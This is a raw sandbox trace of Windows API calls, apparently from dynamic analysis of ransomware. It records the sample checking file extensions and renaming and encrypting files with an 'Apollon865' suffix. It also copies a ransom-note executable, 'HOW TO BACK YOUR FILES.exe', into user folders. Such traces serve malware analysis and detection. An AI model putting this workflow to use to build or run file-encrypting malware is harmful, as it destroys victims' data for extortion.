	[0053.497] lstrlenW (lpString="dqy") returned 3
	[0053.497] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0053.497] lstrlenW (lpString="dsk") returned 3
	[0053.498] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0053.498] lstrlenW (lpString="dsn") returned 3
	[0053.498] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0053.498] lstrlenW (lpString="dtsx") returned 4
	[0053.498] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0053.498] lstrlenW (lpString="dxl") returned 3
	[0053.498] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0053.498] lstrlenW (lpString="eco") returned 3
	[0053.498] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0053.498] lstrlenW (lpString="ecx") returned 3
	[0053.498] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0053.498] lstrlenW (lpString="edb") returned 3
	[0053.498] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0053.498] lstrlenW (lpString="epim") returned 4
	[0053.498] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0053.498] lstrlenW (lpString="fcd") returned 3
	[0053.498] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0053.498] lstrlenW (lpString="fdb") returned 3
	[0053.498] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0053.498] lstrlenW (lpString="fic") returned 3
	[0053.498] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0053.498] lstrlenW (lpString="flexolibrary") returned 12
	[0053.498] lstrlenW (lpString="fm5") returned 3
	[0053.498] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0053.498] lstrlenW (lpString="fmp") returned 3
	[0053.498] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0053.498] lstrlenW (lpString="fmp12") returned 5
	[0053.498] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0053.498] lstrlenW (lpString="fmpsl") returned 5
	[0053.498] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0053.498] lstrlenW (lpString="fol") returned 3
	[0053.498] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0053.498] lstrlenW (lpString="fp3") returned 3
	[0053.498] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0053.498] lstrlenW (lpString="fp4") returned 3
	[0053.499] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0053.499] lstrlenW (lpString="fp5") returned 3
	[0053.499] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0053.499] lstrlenW (lpString="fp7") returned 3
	[0053.499] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0053.499] lstrlenW (lpString="fpt") returned 3
	[0053.499] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0053.499] lstrlenW (lpString="frm") returned 3
	[0053.499] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0053.499] lstrlenW (lpString="gdb") returned 3
	[0053.499] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0053.499] lstrlenW (lpString="gdb") returned 3
	[0053.499] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0053.499] lstrlenW (lpString="grdb") returned 4
	[0053.499] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0053.499] lstrlenW (lpString="gwi") returned 3
	[0053.499] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0053.499] lstrlenW (lpString="hdb") returned 3
	[0053.499] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0053.499] lstrlenW (lpString="his") returned 3
	[0053.499] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0053.499] lstrlenW (lpString="ib") returned 2
	[0053.499] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0053.499] lstrlenW (lpString="idb") returned 3
	[0053.499] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0053.499] lstrlenW (lpString="ihx") returned 3
	[0053.499] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0053.499] lstrlenW (lpString="itdb") returned 4
	[0053.499] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0053.499] lstrlenW (lpString="itw") returned 3
	[0053.499] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0053.499] lstrlenW (lpString="jet") returned 3
	[0053.499] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0053.499] lstrlenW (lpString="jtx") returned 3
	[0053.500] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0053.500] lstrlenW (lpString="kdb") returned 3
	[0053.500] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0053.500] lstrlenW (lpString="kexi") returned 4
	[0053.500] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0053.500] lstrlenW (lpString="kexic") returned 5
	[0053.500] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0053.500] lstrlenW (lpString="kexis") returned 5
	[0053.500] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0053.500] lstrlenW (lpString="lgc") returned 3
	[0053.500] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0053.500] lstrlenW (lpString="lwx") returned 3
	[0053.500] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0053.500] lstrlenW (lpString="maf") returned 3
	[0053.500] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0053.500] lstrlenW (lpString="maq") returned 3
	[0053.500] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0053.500] lstrlenW (lpString="mar") returned 3
	[0053.500] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0053.500] lstrlenW (lpString="marshal") returned 7
	[0053.500] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0053.500] lstrlenW (lpString="mas") returned 3
	[0053.500] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0053.500] lstrlenW (lpString="mav") returned 3
	[0053.500] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0053.500] lstrlenW (lpString="maw") returned 3
	[0053.500] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0053.500] lstrlenW (lpString="mdbhtml") returned 7
	[0053.500] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0053.500] lstrlenW (lpString="mdn") returned 3
	[0053.500] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0053.500] lstrlenW (lpString="mdt") returned 3
	[0053.500] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0053.500] lstrlenW (lpString="mfd") returned 3
	[0053.501] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0053.501] lstrlenW (lpString="mpd") returned 3
	[0053.501] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0053.501] lstrlenW (lpString="mrg") returned 3
	[0053.501] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0053.501] lstrlenW (lpString="mud") returned 3
	[0053.501] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0053.501] lstrlenW (lpString="mwb") returned 3
	[0053.501] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0053.501] lstrlenW (lpString="myd") returned 3
	[0053.501] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0053.501] lstrlenW (lpString="ndf") returned 3
	[0053.501] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0053.501] lstrlenW (lpString="nnt") returned 3
	[0053.501] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0053.501] lstrlenW (lpString="nrmlib") returned 6
	[0053.501] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0053.501] lstrlenW (lpString="ns2") returned 3
	[0053.501] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0053.501] lstrlenW (lpString="ns3") returned 3
	[0053.501] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0053.501] lstrlenW (lpString="ns4") returned 3
	[0053.501] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0053.501] lstrlenW (lpString="nsf") returned 3
	[0053.501] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0053.501] lstrlenW (lpString="nv") returned 2
	[0053.501] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0053.501] lstrlenW (lpString="nv2") returned 3
	[0053.501] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0053.501] lstrlenW (lpString="nwdb") returned 4
	[0053.501] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0053.501] lstrlenW (lpString="nyf") returned 3
	[0053.501] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0053.501] lstrlenW (lpString="odb") returned 3
	[0053.502] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0053.502] lstrlenW (lpString="odb") returned 3
	[0053.502] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0053.502] lstrlenW (lpString="oqy") returned 3
	[0053.502] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0053.502] lstrlenW (lpString="ora") returned 3
	[0053.502] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0053.502] lstrlenW (lpString="orx") returned 3
	[0053.502] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0053.502] lstrlenW (lpString="owc") returned 3
	[0053.502] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0053.502] lstrlenW (lpString="p96") returned 3
	[0053.502] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0053.502] lstrlenW (lpString="p97") returned 3
	[0053.502] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0053.502] lstrlenW (lpString="pan") returned 3
	[0053.502] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0053.502] lstrlenW (lpString="pdb") returned 3
	[0053.502] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0053.502] lstrlenW (lpString="pdm") returned 3
	[0053.502] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0053.502] lstrlenW (lpString="pnz") returned 3
	[0053.502] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0053.502] lstrlenW (lpString="qry") returned 3
	[0053.502] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0053.502] lstrlenW (lpString="qvd") returned 3
	[0053.502] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0053.502] lstrlenW (lpString="rbf") returned 3
	[0053.502] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0053.502] lstrlenW (lpString="rctd") returned 4
	[0053.502] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0053.502] lstrlenW (lpString="rod") returned 3
	[0053.502] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0053.502] lstrlenW (lpString="rodx") returned 4
	[0053.503] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0053.503] lstrlenW (lpString="rpd") returned 3
	[0053.503] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0053.503] lstrlenW (lpString="rsd") returned 3
	[0053.503] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0053.503] lstrlenW (lpString="sas7bdat") returned 8
	[0053.503] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0053.503] lstrlenW (lpString="sbf") returned 3
	[0053.503] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0053.503] lstrlenW (lpString="scx") returned 3
	[0053.503] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0053.503] lstrlenW (lpString="sdb") returned 3
	[0053.503] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0053.503] lstrlenW (lpString="sdc") returned 3
	[0053.503] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0053.503] lstrlenW (lpString="sdf") returned 3
	[0053.503] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0053.503] lstrlenW (lpString="sis") returned 3
	[0053.503] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0053.503] lstrlenW (lpString="spq") returned 3
	[0053.503] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0053.503] lstrlenW (lpString="te") returned 2
	[0053.503] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0053.503] lstrlenW (lpString="teacher") returned 7
	[0053.503] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0053.503] lstrlenW (lpString="tmd") returned 3
	[0053.503] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0053.503] lstrlenW (lpString="tps") returned 3
	[0053.503] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0053.503] lstrlenW (lpString="trc") returned 3
	[0053.503] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0053.503] lstrlenW (lpString="trc") returned 3
	[0053.503] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0053.503] lstrlenW (lpString="trm") returned 3
	[0053.503] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0053.504] lstrlenW (lpString="udb") returned 3
	[0053.504] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0053.504] lstrlenW (lpString="udl") returned 3
	[0053.504] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0053.504] lstrlenW (lpString="usr") returned 3
	[0053.504] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0053.504] lstrlenW (lpString="v12") returned 3
	[0053.504] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0053.504] lstrlenW (lpString="vis") returned 3
	[0053.504] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0053.504] lstrlenW (lpString="vpd") returned 3
	[0053.504] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0053.504] lstrlenW (lpString="vvv") returned 3
	[0053.504] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0053.504] lstrlenW (lpString="wdb") returned 3
	[0053.504] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0053.504] lstrlenW (lpString="wmdb") returned 4
	[0053.504] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0053.504] lstrlenW (lpString="wrk") returned 3
	[0053.504] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0053.504] lstrlenW (lpString="xdb") returned 3
	[0053.504] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0053.504] lstrlenW (lpString="xld") returned 3
	[0053.504] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0053.504] lstrlenW (lpString="xmlff") returned 5
	[0053.504] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0053.504] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Desktop\\desktop.ini.Apollon865") returned 47
	[0053.504] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Desktop\\desktop.ini" (normalized: "c:\\users\\default\\desktop\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Desktop\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\desktop\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0053.505] CreateFileW (lpFileName="C:\\Users\\Default\\Desktop\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\desktop\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0053.505] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=282) returned 1
	[0053.505] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.505] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.505] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.505] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0053.506] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.506] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.506] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x420, lpName=0x0) returned 0x154
	[0053.512] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x420) returned 0x120000
	[0053.521] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0053.522] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.522] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.526] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.526] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.530] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.530] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.530] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.530] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.531] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0053.540] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.540] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0053.541] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.541] UnmapViewOfFile (lpBaseAddress=0x120000) returned 0
	[0053.566] CloseHandle (hObject=0x154) returned 1
	[0053.567] CloseHandle (hObject=0x118) returned 1
	[0053.567] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.567] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.567] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.576] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e353c70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e353c70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.576] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.576] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e353c70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e353c70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0053.578] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0053.578] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b50
	[0053.578] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\Cookies", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies"
	[0053.578] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca3d0 | out: hHeap=0x580000) returned 1
	[0053.578] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b48 | out: hHeap=0x580000) returned 1
	[0053.578] lstrlenW (lpString="C:\\Users\\Default\\Cookies") returned 24
	[0053.578] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Cookies" | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies"
	[0053.578] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.578] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Cookies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\cookies\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0053.596] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0053.599] GetLastError () returned 0x0
	[0053.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.599] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.599] CloseHandle (hObject=0x14c) returned 1
	[0053.599] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.599] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.599] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e353c70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e353c70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0053.599] GetLastError () returned 0x5
	[0053.599] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\Cookies\\* FindFirstFile error 5\r\n") returned 58
	[0053.599] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\Cookies\\* FindFirstFile error 5\r\n") returned 58
	[0053.599] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0053.600] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2397
	[0053.600] WriteFile (in: hFile=0x14c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x3a, lpOverlapped=0x0) returned 1
	[0053.600] CloseHandle (hObject=0x14c) returned 1
	[0053.600] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bb0
	[0053.600] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\Contacts", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Contacts") returned="C:\\Users\\Default\\Contacts"
	[0053.600] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca390 | out: hHeap=0x580000) returned 1
	[0053.600] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ba8 | out: hHeap=0x580000) returned 1
	[0053.600] lstrlenW (lpString="C:\\Users\\Default\\Contacts") returned 25
	[0053.600] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Contacts" | out: lpString1="C:\\Users\\Default\\Contacts") returned="C:\\Users\\Default\\Contacts"
	[0053.600] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.600] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Contacts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\contacts\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0053.600] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0053.601] GetLastError () returned 0x0
	[0053.601] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.601] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.601] CloseHandle (hObject=0x14c) returned 1
	[0053.601] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.601] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.601] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Contacts\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e39ff30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e39ff30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0053.601] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.601] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.601] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.601] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e39ff30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e39ff30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.601] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
